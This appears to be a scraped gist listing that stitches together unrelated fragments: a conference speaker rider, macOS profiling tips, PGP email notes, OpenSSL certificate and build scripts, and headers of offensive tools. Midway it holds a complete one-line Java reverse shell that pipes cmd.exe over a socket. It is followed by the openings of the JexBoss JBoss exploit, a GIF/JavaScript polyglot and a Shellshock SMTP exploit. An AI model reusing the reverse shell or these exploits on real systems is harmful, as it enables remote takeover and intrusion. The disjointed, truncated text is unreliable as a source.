Casey Dunham caseydunham

Speaker Rider

Last updated 14 April 2021

What is a speaker rider?

As speaking comes with immense privilege, I have crafted a speaker rider to set expectations and boundaries around my engagement. I am grateful to all the conference organisers who have brilliantly hosted me. I would love to continue to exercise this privilege to speak at conferences, and use this privilege to make the landscape more accessible and beneficial to tech's most historically excluded and marginalised communities.

Considerations

😫 I provide a lot of explanations for those of you who never had to consider these things. Most thoughtful conferences I've attended check most of these boxes intrinsically, particularly when conference runners are experienced speakers. They get it.

Profiling an application in Mac OS X

Finding which process to profile

If your system is running slowly, perhaps a process is using too much CPU time and won't let other processes run smoothly. To find out which processes are taking up a lot of CPU time, you can use Apple's Activity Monitor.

The CPU pane shows how processes are affecting CPU (processor) activity:

GPG / Mutt / Gmail

About

This is a collection of snippets, not a comprehensive guide. I suggest you start with Operational PGP.

Here is an incomplete list of things that are different from other approaches:

I don't use keyservers. Ever.
Yes, I use Gmail instead of some bespoke hipster freedom service

Operational PGP

This is a guide on how to email securely.

There are many guides on how to install and use PGP to encrypt email. This is not one of them. This is a guide on secure communication using email with PGP encryption. If you are not familiar with PGP, please read another guide first. If you are comfortable using PGP to encrypt and decrypt emails, this guide will raise your security to the next level.

	#!/bin/sh

	# Generate self signed root CA cert
	openssl req -nodes -x509 -newkey rsa:2048 -keyout ca.key -out ca.crt -subj "/C=AU/ST=NSW/L=Sydney/O=MongoDB/OU=root/CN=`hostname -f`/[email protected]"


	# Generate server cert to be signed
	openssl req -nodes -newkey rsa:2048 -keyout server.key -out server.csr -subj "/C=AU/ST=NSW/L=Sydney/O=MongoDB/OU=server/CN=`hostname -f`/[email protected]"

	# Sign the server cert

	String host="localhost";
	int port=8044;
	String cmd="cmd.exe";
	Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

	#!/bin/bash

	# Cache sudo password
	sudo -v

	# Get latest OpenSSL 1.0.2 version from https://openssl.org/source/
	# v1.1.0 seems to have removed SSLv2/3 support
	openssl_version=1.0.2k

	# Install build dependencies

	#coding: utf-8
	'''
	--------------------------------------------------------------------------------------
	# [+] JexBoss v1.0. @autor: João Filho Matos Figueiredo ([email protected])
	# [+] Updates: https://github.com/joaomatosf/jexboss
	# [+] SCRIPT original: http://1337day.com/exploit/23507
	# [+] Free for distribution and modification, but the authorship should be preserved.
	--------------------------------------------------------------------------------------

	[+] SCRIPT Edited by: [ I N U R L - B R A S I L ] - [ By GoogleINURL ]

	; a hand-made GIF containing valid JavaScript code
	; abusing header to start a JavaScript comment

	; inspired by Saumil Shah's Deadly Pixels presentation

	; Ange Albertini, BSD Licence 2013

	; yamal gifjs.asm -o img.gif

	WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment

	#!/bin/python
	# Exploit Title: Shellshock SMTP Exploit
	# Date: 10/3/2014
	# Exploit Author: fattymcwopr
	# Vendor Homepage: gnu.org
	# Software Link: http://ftp.gnu.org/gnu/bash/
	# Version: 4.2.x < 4.2.48
	# Tested on: Debian 7 (postfix smtp server w/procmail)
	# CVE : 2014-6271